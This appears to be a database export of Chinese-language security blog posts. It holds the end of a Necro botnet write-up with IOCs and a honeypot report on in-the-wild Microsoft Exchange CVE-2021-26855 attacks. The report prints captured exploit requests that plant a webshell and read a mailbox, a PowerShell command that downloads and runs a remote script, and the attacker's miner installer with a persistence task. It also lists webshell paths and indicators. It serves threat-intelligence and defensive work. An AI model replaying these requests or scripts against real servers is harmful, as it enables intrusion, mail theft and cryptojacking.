代码混淆算法\n\n新版Necro放弃了原来简单的变量名替换算法，自己实现了一个简单的基于抽象语法树[AST](https://docs.python.org/3/library/ast.html)的代码变形算法，实现了对象名称的全完随机化，且混淆的代码覆盖度更高，结果就是新版的Necro样本VT检出率为0。\n\n ```\n dDojPSRD=open(ULTiBINyz,\"rb\")\n CFiLMBZFoL=YuvmSyETZ=dDojPSRD.read()\n dDojPSRD.close()\n p = ast.parse(CFiLMBZFoL)\n MiaFfQWZhb().visit(p)\n for caSZxzOdnbhJ in sorted(mdSaCUFhqM, key=len, reverse=True):\n ...\n EqDdlmuEhx = [node.name for node in ast.walk(p) if isinstance(node, ast.ClassDef)]\n joPNpGTbcn = sorted({node.id for node in ast.walk(p) if isinstance(node, ast.Name) and not isinstance(node.ctx, ast.Load)})\n for mFVUeqoHs in [n for n in p.body if isinstance(n, ast.FunctionDef)]:\n aPpaAZnhc.append(mFVUeqoHs.name)\n EqDdlmuEhx = [node for node in ast.walk(p) if isinstance(node, ast.ClassDef)]\n for ubhohFYJDo in EqDdlmuEhx:\n for mFVUeqoHs in [n for n in ubhohFYJDo.body if isinstance(n, ast.FunctionDef)]:\n if mFVUeqoHs.name != '__init__' and mFVUeqoHs not in aPpaAZnhc:\n aPpaAZnhc.append(mFVUeqoHs.name)\n ...\n hkaxeZCocag=open(ULTiBINyz,\"wb\")\n ```\n \n## 小结\n\n从Necro被发现以来，我们就一直持续关注并跟踪这一僵尸网络，并关联到背后的KekSec团伙，发现了他们更多的攻击Linux设备的活动。未来我们会继续关注Necro及其团伙，有新的发现将及时公开。\n \n## IOC\n\n* Tor C2\n\n```\nfaw623ska5evipvarobhpzu4ntoru5v6ia5444krr6deerdnvpa3p7ad.onion\n```\n\n* Download URL\n```\nhttp://ntxkg0la99w.zapto.org/setup.py\nhttp://kek.gay/benchmark.py\nhttp://kek.gay/x86.dll\nhttp://kek.gay/x64.dll\nhttp://kek.gay/xmrig1.py\nhttp://kek.gay/xmrig1\nhttp://kek.gay/py.exe\n```\n\n* JS Miner/Bot 相关\n```\nhttps://cloud-miner.de/*\nhttps://ublock-referer.dev/*\n```\n\n* Tor Proxy\n```\n77.238.128.166:9050\n192.248.190.123:8017\n192.248.190.123:8009\n213.251.238.186:9050\n178.62.242.15:9107\n88.198.82.11:9051\n52.3.115.71:9050\n83.217.28.46:9050\n147.135.208.44:9095\n188.166.34.137:9000\n103.233.206.22:179\n161.97.71.22:9000\n54.161.239.214:9050\n194.5.178.150:666\n144.91.74.241:9080\n134.209.230.13:8080\n201.40.122.152:9050\n206.81.27.29:8080\n127.0.0.1:9050\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[1,"p",[]]],"ghostVersion":"3.0"} | 604b466dd0d9b7000712c801 |
post | null | 2021-03-15T03:01:55.000Z | 63873b9a8b1c1e0007f52fb0 | microsoft-exchange-vulnerability-cve-2021-26855-scan-analysis | 0 | 2022-02-09T07:06:10.000Z | public | published | null | 2021-03-25T04:10:58.000Z | Microsoft Exchange 漏洞（CVE-2021-26855）在野扫描分析报告 | <!--kg-card-begin: markdown--><h3 id="">背景介绍</h3>
<p>2021年3月2号，微软披露了Microsoft Exchange服务器的远程代码执行漏洞<a href="https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/">[1]</a>。</p>
<p>2021年3月3号开始，360网络安全研究院Anglerfish蜜罐开始模拟和部署Microsoft Exchange蜜罐插件，很快我们搜集到大量的漏洞检测数据，目前我们已经检测到攻击者植入Webshell，获取邮箱信息，甚至进行XMRig恶意挖矿(<code>http://178.62.226.184/run.ps1</code>)的网络攻击行为。根据挖矿文件路径名特征，我们将该Miner命名为Tripleone。</p>
<p>2021年3月6号开始，ProjectDiscovery和微软CSS-Exchange项目相继披露了漏洞检测脚本<a href="https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-26855.yaml">[2]</a><a href="https://github.com/microsoft/CSS-Exchange/blob/main/Security/src/http-vuln-cve2021-26855.nse">[3]</a>。</p>
<p>Microsoft Exchange服务器的远程代码执行漏洞利用步骤复杂，一般从PoC公布到黑色产业攻击者利用需要一定的时间，我们看到这个攻击现象已经开始了。</p>
<h3 id="cve202126855webshell">CVE-2021-26855 植入Webshell</h3>
<pre><code>POST /ecp/j2r3.js HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json; charset=utf-8
Cookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.
msExchLogonMailbox: S-1-5-20
Content-Length: 381
{"properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test1337.aspx"}}, "identity": {"DisplayName": "OAB (Default Web Site)", "__type": "Identity:ECP", "RawIdentity": "7280d03f-194a-4bf3-98a7-076e7728321d"}}
</code></pre>
<h3 id="cve202126855">CVE-2021-26855 获取邮箱信息</h3>
<pre><code>POST //ecp/ssrf.js HTTP/1.1
Host: {target}
Connection: close
Accept-Encoding: gzip
Accept: */*
User-Agent: Hello-World
Content-Type: text/xml
Cookie: X-BEResource=IBM-EX01/EWS/Exchange.asmx?a=~1942062522;
Content-Length: 756
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<m:GetFolder>
<m:FolderShape>
<t:BaseShape>Default</t:BaseShape>
</m:FolderShape>
<m:FolderIds>
<t:DistinguishedFolderId Id="inbox">
<t:Mailbox>
<t:EmailAddress>[email protected]</t:EmailAddress>
</t:Mailbox>
</t:DistinguishedFolderId>
</m:FolderIds>
</m:GetFolder>
</soap:Body>
</soap:Envelope>
</code></pre>
<h3 id="cve202126855">CVE-2021-26855 挖矿攻击</h3>
<pre><code>POST /owa/auth/test1337.aspx HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Content-Length: 211
Content-Type: application/x-www-form-urlencoded
code=Response.Write%28new+ActiveXObject%28%22WScript.Shell%22%29.exec%28%22powershell+IEX+%28New-Object+Net.WebClient%29.DownloadString%28http%3A%2F%2F178.62.226.184%2Frun.ps1%29%22%29.StdOut.ReadAll%28%29%29%3B
</code></pre>
<p>攻击者通过<code>http://178.62.226.184/run.ps1</code>文件植入XMRig挖矿程序，以下是攻击详情：</p>
<pre><code>$ProcessActive = Get-Process javacpl -ErrorAction SilentlyContinue
if($ProcessActive -eq $null)
{
new-item c:\temp\111 -itemtype directory
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("http://178.62.226.184/config.json","C:\temp\111\config.json")
$WebClient.DownloadFile("http://178.62.226.184/javacpl.exe","C:\temp\111\javacpl.exe")
$WebClient.DownloadFile("http://178.62.226.184/WinRing0x64.sys","C:\temp\111\WinRing0x64.sys")
Start-Process -Filepath "C:\temp\111\javacpl.exe"
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-windowstyle hidden -executionpolicy bypass -noprofile IEX (New-Object Net.WebClient).DownloadString('http://178.62.226.184/run.ps1')"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 3)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "App2" -Description "Check"
}
else
{
Write-host "run"
}
</code></pre>
<h3 id="anglerfish">Anglerfish蜜罐数据视野</h3>
<p>2021年3月6日开始，360网络安全研究院Anglerfish蜜罐系统监测到Microsoft Exchange漏洞（CVE-2021-26855）扫描，截至日前，扫描源IP地址地理位置分布如下：<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip.png" class="kg-image"/></a></p>
<p>通过对扫描端口分析发现，扫描目的端口主要是443端口（77.3%），其次是80端口（11.3%），如下图：<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_ports.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_ports.png" class="kg-image"/></a></p>
<p>根据分析捕获的扫描流量，扫描源IP ASN(Autonomous System Numbers)主要是Linode, LLC、DiGiTALOCEAN-ASN和LeaseWeb Netherlands B.V.，占比50%以上，扫描整体趋势如下：<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_asn.png" class="kg-image"/></a></p>
<p>扫描源IP来自全球各个国家，其中美国占比最大，如下图:<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_source_ip_country.png" class="kg-image"/></a></p>
<p>对捕获的流量进行分析发现，Top 5的扫描IP占比所有扫描行为的50%，其中159.89.95.163占比达24%，暴露了该IP具有一定的组织性。<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_ip_stats.png" class="kg-image"/></a></p>
<p>通过对攻击流量进行分析发现，攻击者已经能够成功利用该漏洞植入Webshell，详情如下图所示：<br>
<a href="__GHOST_URL__/content/images/2021/03/webshell_details.png"><img src="__GHOST_URL__/content/images/2021/03/webshell_details.png" class="kg-image"/></a></p>
<p>攻击者通过Webshell进一步实施恶意攻击操作，如植入XMRig挖矿程序，详情如下图所示：<br>
<a href="__GHOST_URL__/content/images/2021/03/sample_details.png"><img src="__GHOST_URL__/content/images/2021/03/sample_details.png" class="kg-image"/></a></p>
<h3 id="iprdnssld">部分扫描源IP rDNS SLD信息</h3>
<p>我们通过简单分析Microsoft Exchange漏洞（CVE-2021-26855）扫描的扫描源IP对应的rDNS信息，可以看到一些组织信息。<br>
<a href="__GHOST_URL__/content/images/2021/03/vulncheck_sld.png"><img src="__GHOST_URL__/content/images/2021/03/vulncheck_sld.png" class="kg-image"/></a></p>
<h3 id="webshell">Webshell 分析</h3>
<p>我们监测到大量Webshell路径探测请求，其中大部分是安全厂商和研究机构的扫描行为。<br>
已知Webshell路径如下所示：</p>
<pre><code>GET /aspnet_client/system_web/log.aspx 1682
GET /aspnet_client/OutlookEN.aspx 1660
GET /aspnet_client/HttpProxy.aspx 1643
GET /aspnet_client/aspnet_client.aspx 1613
GET /aspnet_client/discover.aspx 1583
GET /aspnet_client/supp0rt.aspx 1490
GET /owa/auth/OutlookEN.aspx 1464
GET /aspnet_client/aspnet_iisstart.aspx 1463
GET /owa/auth/Current/scripts/premium/fexppw.aspx 1442
GET /aspnet_client/xclkmcfldfi948398430fdjkfdkj.aspx 1441
GET /aspnet_client/Server.aspx 1433
GET /owa/auth/8Lw7tAhF9i1pJnRo.aspx 1428
GET /owa/auth/logg.aspx 1416
GET /aspnet_client/xx.aspx 1412
GET /owa/auth/a.aspx 1403
GET /owa/auth/Current/themes/errorFS.aspx 1393
GET /owa/auth/errorPage.aspx 1373
GET /owa/auth/getpp.aspx 1367
GET /aspnet_client/aspnet_pages.aspx 1364
GET /owa/auth/default.aspx 1334
GET /owa/auth/fatal-erro.aspx 1326
GET /owa/auth/errorPages.aspx 1322
GET /owa/auth/log.aspx 1311
GET /owa/auth/shel90.aspx 1306
GET /owa/auth/Err0r.aspx 1303
GET /owa/auth/logout.aspx 1302
GET /aspnet_client/log3.aspx 1293
GET /owa/auth/15.0.1347/themes/resources/exchange_create_css.aspx 1285
GET /owa/auth/RedirSuiteServerProxy.aspx 1279
GET /aspnet_client/eror.aspx 1266
GET /aspnet_client/0QWYSEXe.aspx 1263
GET /owa/auth/current/one1.aspx 1260
GET /aspnet_client/session.aspx 1242
GET /aspnet_client/iispage.aspx 1213
GET /aspnet_client/system_web/logx2.aspx 1212
GET /owa/auth/Current/themes/resources/owafont_vo.aspx 1207
GET /aspnet_client/log.aspx 1207
GET /aspnet_client/WlUtyY.aspx 1168
GET /aspnet_client/aspnet_www.aspx 1167
GET /owa/auth/15.0.847/themes/resources/hmask.aspx 1164
GET /owa/auth/Current/app222.aspx 1155
GET /owa/auth/15.1.1913/themes/resources/View_Photos.aspx 1147
GET /owa/auth/ErrorAA.aspx 1089
GET /owa/auth/one.aspx 1079
GET /aspnet_client/errorcheck.aspx 1074
GET /owa/auth/one1.aspx 1072
GET /aspnet_client/system_web/logfe.aspx 1064
GET /owa/auth/zntwv.aspx 1031
GET /owa/auth/Current/themes/resources/owafont_vn.aspx 1019
GET /owa/auth/shel.aspx 1016
GET /owa/auth/shel2.aspx 1011
GET /owa/auth/bob.aspx 1008
GET /owa/auth/OutlookZH.aspx 1008
GET /owa/auth/Current/themes/resources/daxlz.aspx 1001
GET /owa/auth/authhead.aspx 1000
GET /owa/auth/15.1.1913/themes/resources/bg_gradient_login.aspx 993
GET /aspnet_client/default1.aspx 984
GET /aspnet_client/system_web/logon.aspx 978
GET /aspnet_client/s.aspx 930
GET /aspnet_client/RedirSuiteServerProxy.aspx 927
GET /aspnet_client/8aUco9ZK.aspx 920
GET /aspnet_client/F48zhi6U.aspx 917
GET /aspnet_client/E3MsTjP8.aspx 915
GET /aspnet_client/Fc1b3WDP.aspx 915
GET /aspnet_client/2XJHwN19.aspx 907
GET /aspnet_client/0q1iS7mn.aspx 905
GET /aspnet_client/shell.aspx 901
GET /aspnet_client/McYhCzdb.aspx 898
GET /aspnet_client/sol.aspx 893
GET /aspnet_client/aspnettest.aspx 889
GET /aspnet_client/error_page.aspx 885
GET /aspnet_client/system_web/error.aspx 883
GET /aspnet_client/UwSPMsFi.aspx 882
GET /aspnet_client/web.config.aspx 878
GET /aspnet_client/shellex.aspx 876
GET /aspnet_client/uHSPTWMG.aspx 873
GET /aspnet_client/help.aspx 868
GET /aspnet_client/load.aspx 865
GET /aspnet_client/zXkZu6bn.aspx 858
GET /aspnet_client/ogu7zFil.aspx 843
GET /owa/auth/shell.aspx 644
GET /owa/auth/web.aspx 643
GET /owa/auth/aspnet_client.aspx 639
GET /owa/auth/errorEEE.aspx 635
GET /owa/auth/27fib.aspx 627
GET /owa/auth/errorEE.aspx 625
GET /owa/auth/b.aspx 624
GET /owa/auth/aspnettest.aspx 621
GET /owa/auth/healthcheck.aspx 621
GET /owa/auth/t.aspx 620
GET /owa/auth/shellex.aspx 619
GET /owa/auth/wanlin.aspx 619
GET /owa/auth/aspnet_iisstart.aspx 619
GET /owa/auth/errorFF.aspx 615
GET /owa/auth/test.aspx 615
GET /owa/auth/document.aspx 614
GET /owa/auth/xx.aspx 613
GET /owa/auth/help.aspx 612
GET /owa/auth/evilcorp.aspx 611
GET /owa/auth/web.config.aspx 606
GET /owa/auth/error_page.aspx 605
GET /owa/auth/aspnet_www.aspx 603
GET /owa/auth/errorFE.aspx 601
GET /owa/auth/errorEW.aspx 597
GET /owa/auth/OutlookDA.aspx 288
GET /owa/auth/OutlookFR.aspx 208
GET /owa/auth/OutlookIT.aspx 187
GET /owa/auth/OutlookDE.aspx 186
GET /owa/auth/OutlookES.aspx 182
GET /owa/auth/expiredpassword.aspx 175
GET /owa/auth/OutlookPL.aspx 171
GET /owa/auth/OutlookAR.aspx 165
GET /owa/auth/OutlookSE.aspx 162
GET /owa/auth/logoff.aspx 150
GET /owa/auth/OutlookAS.aspx 146
GET /owa/auth/OutlookIO.aspx 144
GET /owa/auth/OutlookCN.aspx 111
GET /aspnet_client/Service.aspx 88
GET /aspnet_client/1d.aspx 88
GET /aspnet_client/Metabase.aspx 86
GET /aspnet_client/7KmCS.aspx 86
GET /aspnet_client/config.aspx 79
GET /aspnet_client/cafZCu.aspx 78
GET /aspnet_client/8lw7tahf9i1pjnro.aspx 77
GET /aspnet_client/MAlREnavuY.aspx 77
GET /aspnet_client/a.aspx 77
GET /aspnet_client/Default.aspx 76
GET /aspnet_client/ahihi.aspx 76
GET /aspnet_client/aa.aspx 76
GET /aspnet_client/aspnet_iistart.aspx 75
GET /aspnet_client/configs.aspx 74
GET /aspnet_client/aspnet.aspx 71
GET /aspnet_client/aspx_client.aspx 69
GET /aspnet_client/error404.aspx 67
GET /aspnet_client/bob.aspx 67
GET /aspnet_client/document.aspx 67
GET /aspnet_client/authhead.aspx 67
GET /aspnet_client/current/one1.aspx 63
GET /aspnet_client/client.aspx 63
GET /aspnet_client/erroree.aspx 63
GET /owa/auth/seclogon.aspx 61
GET /aspnet_client/upnews.aspx 60
GET /aspnet_client/errorff.aspx 60
GET /owa/auth/Current/themes/resources/system_io.aspx 60
GET /owa/auth/15.1.225/scripts/premium/errorPE.aspx 59
GET /aspnet_client/y3iGH.aspx 59
GET /owa/auth/Current/themes/resources/errorFE.aspx 59
GET /owa/auth/Current/AMNBJLXqoHTV.aspx 59
GET /aspnet_client/errorew.aspx 59
GET /owa/auth/Current/themes/resources/OutlookQN.aspx 59
GET /owa/auth/Current/themes/resources/View_tools.aspx 59
GET /owa/auth/6GIXZG.aspx 59
GET /aspnet_client/system_web/ogzsis0L.aspx 59
GET /owa/auth/Current/themes/resources/Ignrop.aspx 59
GET /aspnet_client/errorpages.aspx 58
GET /aspnet_client/erroreee.aspx 58
GET /owa/auth/hmknq.aspx 57
GET /aspnet_client/system_web/4_0_30319/self.aspx 57
GET /owa/auth/DesktopShellExt.aspx 57
GET /aspnet_client/web.aspx 56
GET /aspnet_client/system_web/9VkFwtxt.aspx 56
GET /aspnet_client/default.aspx 56
GET /aspnet_client/soHKY.aspx 56
GET /aspnet_client/errorpage.aspx 56
GET /owa/auth/rlvgk.aspx 54
GET /owa/auth/logerr.aspx 54
GET /owa/auth/pzbwl.aspx 54
GET /owa/auth/owaauth.aspx 54
GET /aspnet_client/est11.aspx 54
GET /owa/auth/errorcheck.aspx 53
GET /owa/auth/Current/layout.aspx 52
GET /owa/auth/Current/themes/resources/logon.aspx 52
GET /owa/auth/CommonError.aspx 52
GET /owa/auth/Current/themes/config1.aspx 52
GET /owa/auth/ErrorDef.aspx 52
GET /owa/auth/iasads.aspx 51
GET /owa/auth/15.1.2044/themes/resources/office365_ph.aspx 51
GET /owa/auth/061a06908b.aspx 50
GET /owa/auth/Current/zJBxcBoI.aspx 50
GET /owa/auth/errorew.aspx 50
GET /aspnet_client/help..aspx 50
GET /owa/auth/15.0.1497/themes/resources/error.aspx 50
GET /owa/auth/rwinsta.aspx 50
GET /aspnet_client/t.aspx 50
GET /owa/auth/server.aspx 49
GET /owa/auth/erroreww.aspx 49
GET /aspnet_client/temp.aspx 49
GET /owa/auth/frow.aspx 49
GET /aspnet_client/test007.aspx 49
GET /owa/auth/fhsvc.aspx 49
GET /owa/auth/s.aspx 48
GET /owa/auth/errorpage.aspx 48
GET /aspnet_client/zEeomtdYcX.aspx 48
GET /owa/auth/session.aspx 48
GET /owa/auth/secauth.aspx 48
GET /owa/auth/Current/Exchanges.aspx 48
GET /owa/auth/erroree.aspx 48
GET /owa/auth/atlthunk.aspx 48
GET /aspnet_client/voqbETdoni.aspx 48
GET /owa/auth/secauth1.aspx 48
GET /owa/auth/online.aspx 48
GET /owa/auth/erroreee.aspx 48
GET /owa/auth/outlooken.aspx 48
GET /owa/auth/error.aspx 47
GET /owa/auth/ProximityService.aspx 47
GET /owa/auth/outlookfront.aspx 47
GET /owa/auth/proxylogon.aspx 47
GET /owa/auth/8lw7tahf9i1pjnro.aspx 47
GET /owa/auth/ovfwHWjwWm.aspx 47
GET /owa/auth/qnx.aspx 47
GET /owa/auth/plorion.aspx 47
GET /aspnet_client/uyqITYBPew.aspx 47
GET /owa/auth/outlookru.aspx 47
GET /aspnet_client/show.aspx 47
GET /aspnet_client/fatal-erro.aspx 46
GET /owa/auth/errorfff.aspx 46
GET /owa/auth/KBDBENE.aspx 46
GET /owa/auth/OutlookUS.aspx 46
GET /aspnet_client/system.aspx 46
GET /owa/auth/login.aspx 46
GET /owa/auth/letmeinplzs.aspx 46
GET /owa/auth/jhJ2zT9ouOfP6VnBcHg3.aspx 46
GET /owa/auth/errorff.aspx 46
GET /owa/auth/redirsuiteserverproxy.aspx 45
GET /aspnet_client/signon.aspx 45
GET /aspnet_client/healthcheck.aspx 45
GET /aspnet_client/login.aspx 45
GET /owa/auth/ntprint.aspx 45
GET /owa/auth/m0xbqRg1ranzvGD3jiXT.aspx 44
GET /aspnet_client/qfmrucnzl.aspx 44
GET /owa/auth/errorpages.aspx 44
GET /owa/auth/XblGameSave.aspx 44
GET /owa/auth/OutlookDN.aspx 44
GET /aspnet_client/obq.aspx 44
GET /owa/auth/load.aspx 44
GET /aspnet_client/logaaa.aspx 44
GET /owa/auth/discover.aspx 43
GET /owa/auth/outlookjp.aspx 43
GET /owa/auth/jOBJIfr92ERLmg1HcnF3.aspx 43
GET /owa/auth/hUjwpeROcY7Fo4g8ETH3.aspx 42
GET /aspnet_client/shel90.aspx 42
GET /aspnet_client/support.aspx 42
GET /owa/auth/HcDKNzBoha.aspx 41
GET /owa/auth/multiup.aspx 41
GET /owa/auth/FR5Ha0D1dwfsqIUMhLCQ.aspx 40
GET /owa/auth/outlookzh.aspx 40
GET /owa/auth/HUUPItrNpXvI.aspx 40
GET /owa/auth/dbuj9.aspx 40
GET /owa/auth/xclkmcfldfi948398430fdjkfdkj.aspx 40
GET /owa/auth/L2oXwTljs3GnMyHQV0KR.aspx 39
GET /owa/auth/sol.aspx 39
GET /owa/auth/httpproxy.aspx 39
GET /owa/auth/XboxNetApiSvc.aspx 39
GET /owa/auth/supp0rt.aspx 39
GET /aspnet_client/one.aspx 39
GET /owa/auth/signon.aspx 38
GET /aspnet_client/outlookjp.aspx 38
GET /owa/auth/OutlookEN.US.aspx 38
GET /owa/auth/KrhHyDPwb70ct362JmLn.aspx 38
GET /owa/auth/OutlookUN.aspx 37
GET /owa/auth/aa.aspx 36
GET /owa/auth/aaa.aspx 36
GET /owa/auth/iispage.aspx 36
GET /aspnet_client/redirsuiteserverproxy.aspx 36
GET /owa/auth/shelltest.aspx 35
GET /owa/auth/system_web/log.aspx 35
GET /owa/auth/aspx_client.aspx 35
GET /owa/auth/tst1.aspx 35
GET /owa/auth/tpmvscmgrsvr.aspx 35
GET /aspnet_client/online.aspx 34
GET /owa/auth/VqEUaLjKpcWoNC7yPMlz.aspx 34
GET /owa/auth/aspnet.aspx 34
GET /aspnet_client/outlookru.aspx 34
GET /aspnet_client/outlookzh.aspx 34
GET /aspnet_client/outlookfront.aspx 34
GET /aspnet_client/shel.aspx 33
GET /aspnet_client/logg.aspx 33
GET /owa/auth/asas.aspx 33
GET /aspnet_client/server.aspx 33
GET /owa/auth/tNLPge.aspx 32
GET /owa/auth/ahihi.aspx 32
GET /owa/auth/TimeoutLogout.aspx 32
GET /owa/auth/aspnet_pages.aspx 32
GET /owa/auth/ZI3uMczmPa5bwTYVpKsE.aspx 32
GET /owa/auth/test13037.aspx 31
GET /aspnet_client/shel2.aspx 31
GET /aspnet_client/one1.aspx 31
GET /aspnet_client/httpproxy.aspx 31
GET /owa/auth/test1337.aspx 31
GET /owa/auth/signout.aspx 29
GET /aspnet_client/outlooken.aspx 28
GET /owa/auth/default1.aspx 28
GET /owa/auth/theme-gsx8ujzpicf0.aspx 28
GET /aspnet_client/multiup.aspx 27
GET /aspnet_client/logout.aspx 27
GET /owa/auth/theme-vten8snn874b.aspx 25
GET /aspnet_client/error.aspx 8
GET /aspnet_client/errorFF.aspx 8
GET /aspnet_client/errorEE.aspx 8
GET /owa/auth/OutlookJP.aspx 6
GET /aspnet_client/errorEW.aspx 6
POST /aspnet_client/discover.aspx 5
GET /aspnet_client/errorEEE.aspx 5
POST /aspnet_client/system_web/logx2.aspx 4
GET /owa/auth/HttpProxy.aspx 4
GET /owa/auth/OutlookRU.aspx 4
GET /aspnet_client/system_web/sol.aspx 4
GET /aspnet_client/system_web/QBFjM1SC.aspx 4
GET /aspnet_client/OutlookJP.aspx 4
GET /aspnet_client/system_web/ioWYM7C4.aspx 4
GET /owa/auth/Online.aspx 4
GET /aspnet_client/MultiUp.aspx 4
GET /owa/auth/Logout.aspx 4
GET /aspnet_client/system_web/E12B65rm.aspx 4
GET /aspnet_client/system_web/vY4qLEpG.aspx 3
GET /aspnet_client/system_web/test.aspx 3
GET /aspnet_client/Online.aspx 3
GET /aspnet_client/system_web/3ue5myCq.aspx 3
GET /aspnet_client/system_web/sJ0f8qHt.aspx 3
GET /aspnet_client/system_web/cMvBgHLZ.aspx 3
GET /aspnet_client/system_web/WFk2or3Y.aspx 3
GET /aspnet_client/system_web/GnCwADKH.aspx 3
GET /aspnet_client/rabiitch.aspx 3
GET /aspnet_client/system_web/Cs64LbPk.aspx 3
GET /aspnet_client/Logout.aspx 2
GET /owa/auth/WMSPDMOD.aspx 2
GET /aspnet_client/OutlookRU.aspx 2
GET /owa/auth/Discover.aspx 2
GET /aspnet_client/system_web/2TFGNswO.aspx 2
GET /aspnet_client/Discover.aspx 2
GET /owa/auth/checkerror635284.aspx 2
GET /owa/auth/MultiUp.aspx 2
GET /aspnet_client/system_web/3NHhPxJ5.aspx 2
GET /aspnet_client/system_web/1A2ZeQOu.aspx 2
GET /owa/auth/Current/themes/resources/lgnleft.aspx 2
GET /aspnet_client/checkerror635284.aspx 2
GET /owa/auth/1d61acae91.aspx 2
GET /owa/auth/current/themes/resources/error.aspx 1
GET /aspnet_client/iisstart.aspx 1
GET /owa/auth/lo.aspx 1
GET /owa/auth/error404.aspx 1
</code></pre>
<h3 id="miscrosoftexchange">Miscrosoft Exchange服务器分布</h3>
<p>360 Quake网络空间测绘系统通过对全网资产测绘，发现<a href="https://quake.360.cn/quake/#/searchResult?searchVal=app%3A%22Exchange%E9%82%AE%E4%BB%B6%E6%9C%8D%E5%8A%A1%E5%99%A8%22&selectIndex=quake_service">Microsoft Exchange服务器</a>共3,378,260条数据记录，其中有534,590个独立IP，具体分布如下图所示。<br>
<a href="__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_cn.png"><img src="__GHOST_URL__/content/images/2021/03/microsoft_exchange_distribution_cn.png" class="kg-image"/></a></p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>178.62.226.184
157.245.47.214
</code></pre>
<p>Miner Proxy:</p>
<pre><code>159.65.206.137:3333
</code></pre>
<p>URL:</p>
<pre><code>http://178.62.226.184/mini-reverse.ps1
http://178.62.226.184/run.ps1
http://178.62.226.184/config.json
http://178.62.226.184/javacpl.exe
http://178.62.226.184/WinRing0x64.sys
</code></pre>
<p>MD5:</p>
<pre><code>79e2c9953f452f777d55749f01e5f3b7
2d4d75e46f6de65fba2451da71686322
0fe28f557e9997cd2750ff3fa86a659e
67f2d42e30f6239114feafc9ffd009d8
0c0195c48b6b8582fa6f6373032118da
</code></pre>
<!--kg-card-end: markdown--> | 背景介绍
2021年3月2号，微软披露了Microsoft Exchange服务器的远程代码执行漏洞[1]。
2021年3月3号开始，360网络安全研究院Anglerfish蜜罐开始模拟和部署Microsoft Exchange蜜罐插件，很快我们搜集到大量的漏洞检测数据，目前我们已经检测到攻击者植入Webshell，获取邮箱信息，甚至进行XMRig恶意挖矿(http://178.62.226.184/run.ps1)的网络攻击行为。根据挖矿文件路径名特征，我们将该Miner命名为Tripleone。
2021年3月6号开始，ProjectDiscovery和微软CSS-Exchange项目相继披露了漏洞检测脚本[2][3]。
Microsoft Exchange服务器的远程代码执行漏洞利用步骤复杂，一般从PoC公布到黑色产业攻击者利用需要一定的时间，我们看到这个攻击现象已经开始了。
CVE-2021-26855 植入Webshell
POST /ecp/j2r3.js HTTP/1.1
Host: {target}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json; charset=utf-8
Cookie: X-BEResource=Administrator@EXCHANGE01:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.&a=~1942062522; ASP.NET_SessionId=00782f75-8b35-11eb-af5a-560002fbb132; msExchEcpCanary=bTEwQdC2fkijeS-2wvtAdCnAngle7rfishIlH4dgINcqO6mYA4bY-ATaZjT2ZzjTIil62g3Tg23.
msExchLogonMailbox: S-1-5-20
Content-Length: 381
